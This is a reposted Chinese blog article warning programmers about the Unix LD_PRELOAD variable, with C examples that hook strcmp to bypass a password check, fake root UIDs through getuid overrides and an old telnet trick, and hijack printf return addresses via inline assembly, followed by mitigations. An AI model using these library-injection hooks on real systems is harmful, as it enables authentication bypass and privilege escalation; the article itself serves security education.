警惕UNIX下的LD_PRELOAD环境变量

2023-11-14

警惕UNIX下的LD_PRELOAD环境变量
前言:
      也许这个话题并不新鲜,因为LD_PRELOAD所产生的问题由来已久。不过,在这里,我还是想讨论一下这个环境变量。因为这个环境变量所带来的安全问题非常严重,值得所有的Unix下的程序员的注意。
 
      在开始讲述为什么要当心LD_PRELOAD环境变量之前,请让我先说明一下程序的链接。所谓链接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。一般来说,程序的链接分为静态链接和动态链接,静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库,也就是运行链接。所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,对于可执行程序来说是透明的,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。
 
      当然,世界上没有什么东西都是完美的,有好就有坏,有得就有失。动态链接所带来的坏处和其好处一样同样是巨大的。因为程序在运行时动态加载函数,这也就为他人创造了可以影响你的主程序的机会。试想,一旦,你的程序动态载入的函数不是你自己写的,而是载入了别人的有企图的代码,通过函数的返回值来控制你的程序的执行流程,那么,你的程序也就被人“劫持”了。

LD_PRELOAD简介: 

      在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入恶意程序,从而达到那不可告人的罪恶的目的。

 

      我们知道,Linux的用的都是glibc,有一个叫libc.so.6的文件,这是几乎所有Linux下命令的动态链接中,其中有标准C的各种函数。对于GCC而言,默认情况下,所编译的程序中对标准C函数的链接,都是通过动态链接方式来链接libc.so.6这个函数库的。

 

   OK。还是让我用一个例子来看一下用LD_PRELOAD来hack别人的程序。

示例一

 

我们写下面一段例程:

 

/* 文件名:verifypasswd.c */

/* 这是一段判断用户口令的程序,其中使用到了标准C函数strcmp*/

 

#include <stdio.h>

#include <string.h>

 

int main(int argc, char **argv)

{

 

char passwd[] = "password";

 

if (argc < 2) {

        printf("usage: %s <password>/n", argv[0]);

        return;

}

 

if (!strcmp(passwd, argv[1])) {

        printf("Correct Password!/n");

        return;

}

 

printf("Invalid Password!/n");

}

 

 

在上面这段程序中,我们使用了strcmp函数来判断两个字符串是否相等。下面,我们使用一个动态函数库来重载strcmp函数:

 

/* 文件名:hack.c */

 

#include <stdio.h>

#include <string.h>

 

int strcmp(const char *s1, const char *s2)

{

        printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);

        /永远返回0,表示两个字符串相等 */

        return 0;

}

 

 

 

编译程序:

$ gcc -o verifypasswd verifypasswd.c

$ gcc -shared -o hack.so hack.c

 

测试一下程序:(得到正确结果)

$ ./verifypasswd asdf

Invalid Password!

 

设置LD_PRELOAD变量:(使我们重写过的strcmp函数的hack.so成为优先载入链接库)

         $ export LD_PRELOAD="./hack.so"

 

再次运行程序:

$ ./verifypasswd  asdf

hack function invoked. s1=<password> s2=<asdf>

Correct Password!

 

我们可以看到,1)我们的hack.so中的strcmp被调用了。2)主程序中运行结果被影响了。如果这是一个系统登录程序,那么这也就意味着我们用任意口令都可以进入系统了。


示例二

 

      让我们再来一个示例(这个示例来源于我的工作)。这个软件是一个分布式计算平台,软件在所有的计算机上都有以ROOT身份运行的侦听程序(Daemon),用户可以把的一程序从A计算机提交到B计算机上去运行。这些Daemon会把用户在A计算机上的所有环境变量带到B计算机上,在B计算机上的Daemon会fork出一个子进程,并且Daemon会调用seteuid、setegid来设置子程的执行宿主,并在子进程空间中设置从A计算机带过来的环境变量,以仿真用户的运行环境。(注意:A和B都运行在NIS/NFS方式上)

 

于是,我们可以写下这样的动态链接库:

 

/* 文件名:preload.c */

 

#include <dlfcn.h>

#include <unistd.h>

#include <sys/types.h>

 

uid_t geteuid( void ) { return 0; }

uid_t getuid( void ) { return 0; }

uid_t getgid( void ) { return 0; }

 

 

     在这里我们可以看到,我们重载了系统调用。于是我们可以通过设置LC_PRELOAD来迫使主程序使用我们的geteuid/getuid/getgid(它们都返回0,也就是Root权限)。这会导致,上述的那个分布式计算平台的软件在提交端A计算机上调用了geteuid得到当前用户ID是0,并把这个用户ID传到了执行端B计算机上,于是B计算机上的Daemon就会调用seteuid(0),导致我们的程序运行在了Root权限之下。从而,用户取得了超级用户的权限而为所欲为。

 

    上面的这个preload.c文件也就早期的为人所熟知的hack程序了。恶意用户通过在系统中设计LC_PRELOAD环境变量来加载这个动态链接库,会非常容易影响其它系统命令(如:/bin/sh, /bin/ls, /bin/rm 等),让这些系统命令以Root权限运行。

 

让我们看一下这个函数是怎么影响系统命令的:

      

$ id

uid=500(hchen) gid=10(wheel) groups=10(wheel)

$ gcc -shared -o preload.so preload.c

$ setenv LD_PRELOAD ./preload.so

$ id

uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)

       $ whoami

root

$ /bin/sh

#         <------ 你可以看到命令行提示符会由 $ 变成 #

      

下面是一个曾经非常著名的系统攻击

$ telnet

telnet> env def LD_PRELOAD /home/hchen/test/preload.so

telnet> open localhost

#

 

 

当然,这个安全BUG早已被Fix了(虽然,通过id或是whoami或是/bin/sh让你觉得你像是root,但其实你并没有root的权限),当今的Unix系统中不会出现这个的问题。但这并不代表,我们自己写的程序,或是第三方的程序能够避免这个问题,尤其是那些以Root方式运行的第三方程序。

 

所以,在我们编程时,我们要随时警惕着LD_PRELOAD。

 

 

如何避免

 

不可否认,LD_PRELOAD是一个很难缠的问题。目前来说,要解决这个问题,只能想方设法让LD_PRELOAD失效。目前而言,有以下面两种方法可以让LD_PRELOAD失效。

 

1)通过静态链接。使用gcc的-static参数可以把libc.so.6静态链入执行程序中。但这也就意味着你的程序不再支持动态链接。

 

2)通过设置执行文件的setgid / setuid标志。在有SUID权限的执行文件,系统会忽略LD_PRELOAD环境变量。也就是说,如果你有以root方式运行的程序,最好设置上SUID权限。(如:chmod 4755 daemon)

 

在一些UNIX版本上,如果你想要使用LD_PRELOAD环境变量,你需要有root权限。但不管怎么说,这些个方法目前来看并不是一个彻底的解决方案,只是一个Workaround的方法,是一种因噎废食的做法,为了安全,只能禁用。

 

 

另一个示例

 

最后,让我以一个更为“变态”的示例来结束这篇文章吧(这个示例来自某俄罗斯黑客)。看看我们还能用LD_PRELOAD来干点什么?下面这个程序comp.c,我们用来比较a和b,很明显,a和b不相等,所以,怎么运行都是程序打出Sorry,然后退出。这个示例会告诉我们如何用LD_PRELOAD让程序打印OK。

 

 

/* 源文件:comp.c  执行文件:comp*/

 

#include <stdio.h>

 

int main(int argc, char **argv)

{

        int a = 1, b = 2;

 

        if (a != b) {

                printf("Sorry!/n");

                return 0;

        }

 

        printf("OK!/n");

        return 1;

}

 

 

我们先来用GDB来研究一下程序的反汇编。注意其中的红色部分。那就是if语句。如果条件失败,则会转到<main+75>。当然,用LD_PRELOAD无法影响表达式,其只能只能影响函数。于是,我们可以在printf上动点歪脑筋。

 

(gdb) disassemble main

Dump of assembler code for function main:

0x08048368 <main+0>:    push   %ebp

0x08048369 <main+1>:    mov    %esp,%ebp

0x0804836b <main+3>:    sub    $0x18,%esp

0x0804836e <main+6>:    and    $0xfffffff0,%esp

0x08048371 <main+9>:    mov    $0x0,%eax

0x08048376 <main+14>:   add    $0xf,%eax

0x08048379 <main+17>:   add    $0xf,%eax

0x0804837c <main+20>:   shr    $0x4,%eax

0x0804837f <main+23>:   shl    $0x4,%eax

0x08048382 <main+26>:   sub    %eax,%esp

0x08048384 <main+28>:   movl   $0x1,0xfffffffc(%ebp)

0x0804838b <main+35>:   movl   $0x2,0xfffffff8(%ebp)

0x08048392 <main+42>:   mov    0xfffffffc(%ebp),%eax

0x08048395 <main+45>:   cmp    0xfffffff8(%ebp),%eax

0x08048398 <main+48>:   je     0x80483b3 <main+75>

0x0804839a <main+50>:   sub    $0xc,%esp

0x0804839d <main+53>:   push   $0x80484b0

0x080483a2 <main+58>:   call   0x80482b0

0x080483a7 <main+63>:   add    $0x10,%esp

0x080483aa <main+66>:   movl   $0x0,0xfffffff4(%ebp)

0x080483b1 <main+73>:   jmp    0x80483ca <main+98>

0x080483b3 <main+75>:   sub    $0xc,%esp

0x080483b6 <main+78>:   push   $0x80484b8

0x080483bb <main+83>:   call   0x80482b0

0x080483c0 <main+88>:   add    $0x10,%esp

0x080483c3 <main+91>:   movl   $0x1,0xfffffff4(%ebp)

0x080483ca <main+98>:   mov    0xfffffff4(%ebp),%eax

0x080483cd <main+101>:  leave

0x080483ce <main+102>:  ret

End of assembler dump.

 

 

下面是我们重载printf的so文件。让printf返回后的栈地址变成<main+75>。从而让程序接着执行。下面是so文件的源,都是让人反感的汇编代码。

 

#include <stdarg.h>

 

static int (*_printf)(const char *format, ...) = NULL;

 

int printf(const char *format, ...)

{

 

    if (_printf == NULL) {

         /* 取得标准库中的printf的函数地址 */

_printf = (int (*)(const char *format, ...)) dlsym(RTLD_NEXT, "printf");

 

         /* 把函数返回的地址置到<main+75> */

         __asm__ __volatile__ (

                "movl 0x4(%ebp), %eax /n"

                "addl $15, %eax /n"

                "movl %eax, 0x4(%ebp)"

         );

 

         return 1;

    }

 

    /重置 printf的返回地址 */

    __asm__ __volatile__ (

            "addl $12, %%esp /n"

            "jmp *%0 /n"

                    : /* no output registers */

                    : "g" (_printf)

                    : "%esp"

    );

}

 

转载于:http://blog.csdn.net/haoel/article/details/1602108
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

警惕UNIX下的LD_PRELOAD环境变量 的相关文章

  • ubuntu10.04下Eclipse&pydev搭建python环境

    ubuntu10 04下Eclipse pydev搭建python环境 ubuntu10 04已经自带了python 用户可以在命令行中输入python 就启动了python 就可以写程序来测试了 也可以通过用gedit写一些脚本 然后在命
  • fread函数解析

    fread函数解析 1 size t fread void buffer size t elementsize size t count FILE stream return fread s buffer SIZE MAX elements
  • 超线程简介

    超线程简介 超线程的技术原理 超线程技术在一个物理核上模拟两个逻辑核 两个逻辑核具有各自独立的寄存器 eax ebx ecx msr等等 和APIC 但会共享使用物理核的执行资源 包括执行引擎 L1 L2缓存 TLB和系统总线等等
  • 如何在C语言中调用shell命令

    如何在C语言中调用shell命令 在linux操作系统中 很多shell命令使用起来非常简单 这些shell命令的程序实现已经被底层实现好 有时候需要在程序中调用shell命令 这样可以就不用在控制台上手动输入shell命令了 下面就以三个
  • Linux下编译链接多个源文件

    Linux下编译链接多个源文件 add c 的内容 int Add int a int b int result result a b return result minus c 的内容 int Minus int a int b int
  • linux设备驱动之构造和运行模块

    构造和运行模块 今天开始学习 linux设备驱动程序 第三版这本书 在看到第二章的构造和运行模块的时候 我在linux平台上做了一个小测试 下面就让我说下 在宿主机上安装开发工具和下载linux源码 要求版本号和目标机上的linux内核版本
  • linux上的一些系统监测工具简介

    linux上的一些系统监测工具简介 在linux中提供了很多有用的工具 以方便开发人员调试和评测服务器程序 下面介绍几个常用的工具 tcpdump nc strace lfos netstat vmstat ifstat和mpstat 1
  • 2.6内核的通用的编译步骤

    2 6内核的通用的编译步骤 1 下载源码并解压 虽然我们可以将内核源码存放在任何自己找得到的地方 但通常还是会将内核源码下载到 usr src目录并解压 cd usr src wget ftp kernel org pub linux ke
  • linux2.6.29 CFS调度详细分析

    linux2 6 29 CFS调度详细分析 众所周知 linux最新的内核采用了CFS的调度机制 网上也有不少文章对CFS调度的源码做了详细的分析 但是大部分的文章太注重细节了 所以没有把CFS的原理进行一下从整体上的概括 基于这个原因 本
  • FastCGI技术

    FastCGI技术 by ahuner 1 FastCGI介绍 FastCGI 快速通用网关接口 Fast Common Gateway Interface FastCGI 是一种让交互程序与Web服务器通信的协议 FastCGI像是一个常
  • CreateThread()和_beginthread()有什么不同?

    CreateThread 和 beginthread 有什么不同 我们知道在Windows下创建一个线程的方法有两种 一种就是调用Windows API CreateThread 来创建线程 另外一种就是调用MSVC CRT的函数 begi
  • va_list(),va_start(),va_arg(),va_end()

    va list va start va arg va end 详解 一 写一个简单的可变参数的C函数 下面我们来探讨如何写一个简单的可变参数的C函数 写可变参数的C函数要在程序中用到以下这些宏 void va start va list a
  • orange's一个操作系统的实现的前五章文件组织整理

    Orange s一个操作系统的实现的前五章文件组织整理 Tree Makefile a img 虚拟软盘 bochsrc bochs虚拟机配置 boot boot asm 编译为boot bin文件后被BIOS加载到内存 然后在a img中
  • syslog协议介绍

    syslog协议介绍 syslog架构 Unix Linux系统中的大部分日志都是通过一种叫做syslog的机制产生和维护的 syslog是一种标准的协议 分为客户端和服务器端 客户端是产生日志消息的一方 而服务器端负责接收客户端发送来的日
  • x86中内存管理寄存器

    x86中内存管理寄存器 处理器提供了4个内存管理寄存器 GDTR LDTR IDTR和TR 用于指定内存分段管理所用系统表的基地址 如图4 2所示 处理器为这些寄存器的加载和保存提供了特定的指令 GDTR LDTR IDTR和TR都是段基址
  • 警惕UNIX下的LD_PRELOAD环境变量

    警惕UNIX下的LD PRELOAD环境变量 前言 也许这个话题并不新鲜 因为LD PRELOAD所产生的问题由来已久 不过 在这里 我还是想讨论一下这个环境变量 因为这个环境变量所带来的安全问题非常严重 值得所有的Unix下的程序员的注意
  • dword ptr指令讲解

    dword ptr指令讲解 8086CPU的指令 可以处理两种尺寸的数据 byte和word 所以在机器指令中要指明 指令进行的是字操作还是字节操作 对于这个问题 汇编语言中用一下方法处理 1 通过寄存器名指明要处理的数据的尺寸 例如 下面
  • Linux下C编译系统

    Linux下C编译系统 编译过程概述 了解一些编译知识的读者都知道 所谓编译 就是在编译程序读取源程序 字符流 对之进行词法和语法的分析 将高级语言指令转换为功能等效的汇编代码 再由汇编程序转换为机器语言 并且按照操作系统对可执行文件感谢格
  • IEEE-754标准浮点数,十六进制与十进制转换方法(附C代码)

    十进制数与IEEE 754 32 位转换实例讲解 https blog csdn net qq 41629142 article details 83692106 https blog csdn net a627088424 article
  • linux下libxml库的安装及编译

    linux下libxml库的安装及编译 1 下载和安装LIBXML2 Libxml2是个C语言的XML程式库 能简单方便的提供对XML文件的各种操作 并且支持XPATH查询 及部分的支持XSLT转换等功能 Libxml2的下载地址是 htt

随机推荐

  • Boost多线程和Asio

    BOOST ASIO 学习专贴 https www cnblogs com zhangdongsheng p 6984634 html Boost线程库学习笔记 https www cnblogs com younes archive 20
  • 「云+未来」上海峰会,报名开启

    欢迎大家前往腾讯云技术社区 获取更多腾讯海量技术实践干货哦 开放技术能力 探索产业变革 分享腾讯云助力各行业的转型经验 腾讯 云 未来 上海峰会将于9月21日在上海中星铂尔曼大酒店盛大举行 本次峰会以 连接 智能 未来 为主题 邀请政企精英
  • 入门学python的朋友注意了,这17个注意事项要记住哦

    前言 Python这门语言虽然不会很难 但是毕竟是一门编程语言 想要学好学会python 还是要需要注意这17个注意事项 这是我自己在学习python的过程中总结出来的 希望能让你在学习过程中少走弯路 1 在选择python版本的时候 应该
  • tkinter和mysql做登录注册_怎么用flask+mysql来实现一个简单的用户注册和登陆效果的页面呢?请不要用任何ORM...

    一个简单的用户注册和登录的页面 就两个部分 涉及到数据库 存储用户数据 注册 读出用户数据 登录验证 搞清楚如何用python连接和操作数据库即可 还有了解sql数据库语句 sqlite和mysql差不多的 看几眼多试几下就了解了 网站程序
  • 使用micropython(ESP8266、ESP32)驱动SES 2.66寸墨水屏显示中文

    由于需要做一些低功耗的东西 所以最近在尝试玩墨水屏 出于成本考虑 没钱的另一种委婉说法 从咸鱼淘到2块便宜的二手SES 2 66寸三色墨水屏 并使用micropython将其驱动起来 并用字库的方法显示中文 一 屏幕的驱动 1 硬件连线 S
  • c++ string类赋值方法

    1 若s2没有赋初值的正确赋值方法 若s2没有赋初值 那我们要怎样才能给string类的字符串赋值呢 看下面这段代码 只需要将赋值语句改成这样 s2 s2 s1 i 加法即向其赋值 include
  • Android OpenCV实现人脸检测(一)完成人脸检测功能

    环境搭建 Android Studio 集成OpenCV 本节完整的代码链接 Android OpenCV Demo 预览黑屏 下一节会实现预览的功能 1 创建 assets 文件夹 2 在 OpenCV android sdk sdk e
  • 解决问题:安装Visio版本冲突(MSI与即点即用)

    安装Visio参考 https www jianshu com p 43c59f7c394d 问题一 Office 2016 Click to Run 冲突 32位与64位冲突 画外音 我迟早要把那个家庭版给卸载了吧 功能是真的阉割 解决
  • js work 多线程

    js work 多线程 主js function goBack window frames 0 history back 1 console log 准备开启第二线程 var worker new Worker js cpc2 js wor
  • 初识顶点/片元着色器

    5 2 一个最简单的顶点 片元着色器 5 2 1 顶点 片元着色器的基本结构 一个 Unity Shader 的基本结构 它包含了 Shader Properties SubShader Fallback 等语义块 顶点 片元着色器的结构与
  • 理解互斥量和信号量 作者: JuKevin

    理解互斥量和信号量 作者 JuKevin 互斥量 Mutex 互斥量表现互斥现象的数据结构 也被当作二元信号灯 一个互斥基本上是一个多任务敏感的二元信号 它能用作同步多任务的行为 它常用作保护从中断来的临界段代码并且在共享同步使用的资源 M
  • python key=lambda 元素: 元素[字段索引]用法

    key lambda 元素 元素 字段索引 x x 字母可以随意修改 比如改成y y 也行 排序方式按照中括号 里面的维度进行排序 0 按照第一维排序 1 按照第二维排序 2 按照第三维排序 依此类推 如二维 class Solution
  • Python3,实用技巧之:三类(7种)拼接字符串方式

    三类拼接字符串方式 1 引言 2 格式化类 2 1 来自C的 方式 2 2 format 拼接方式 2 3 面向对象模板拼接 3 拼接类 3 1 常用的 方式 3 2 类似元组的方式 3 3 join方法 4 插值类 4 1 f strin
  • 使用MySQL APT库在Linux上安装MySQL

    添加APT仓库 访问https dev mysql com downloads repo apt 选择下载适合自己平台的deb包 执行下面的命令 安装下载的软件包 sudo dpkg i PATH version specific pack
  • 审视HR SaaS:谁在成为中国的 “IBM+ Workday”?

    在国内的商业环境下 未来 梳理流程等咨询管理能力 或将成为HR SaaS厂商的重要竞争力 国内HR SaaS在 IBM Workday 的模式下 或将迎来新一轮增长 作者 斗斗 编辑 皮爷 出品 产业家 2023年 HR SaaS 正式宣布
  • 功率MOS管保护电路设计

    功率MOS管自身拥有众多优点 但是MOS管具有较脆弱的承受短时过载能力 特别是在高频的应用场合 所以在应用功率MOS管对必须为其设计合理的保护电路来提高器件的可靠性 功率MOS管保护电路主要有以下几个方面 1 防止栅极 di dt过高 由于
  • Git是什么?可以用来做什么?如何使用?

    看完本文之后你能收获什么 1 知道git是什么 可以用来干什么 2 会使用git进行版本控制 3 知道如何继续深度学习git git用来干什么 不知道你工作的时候有没有遇到这样的情况 比如说 做BIM建模 你手中有一份模型初稿 但现在需要在
  • java设计模式(二十二)策略模式

    目录 定义 模式结构 角色职责 代码举例 适用场景 优缺点 定义 策略模式 Strategy Pattern 属于对象的行为模式 其用意是针对一组算法 将每一个算法封装到具有共同接口的独立的类中 从而使得它们可以相互替换 策略模式使得算法可
  • APP内嵌h5页面在android低版本出现白屏问题(vue项目)

    前段时间在处理一个vue项目时 在vivo和华为的android5 0系统出现白屏 没有任何报错信息 之后特地买了两台真机进行测试 经过分段调试 一步步排查 最后发现是这段代码出错 到底什么问题 对比一下这段代码 很明显 参数默认值的问题
  • 警惕UNIX下的LD_PRELOAD环境变量

    警惕UNIX下的LD PRELOAD环境变量 前言 也许这个话题并不新鲜 因为LD PRELOAD所产生的问题由来已久 不过 在这里 我还是想讨论一下这个环境变量 因为这个环境变量所带来的安全问题非常严重 值得所有的Unix下的程序员的注意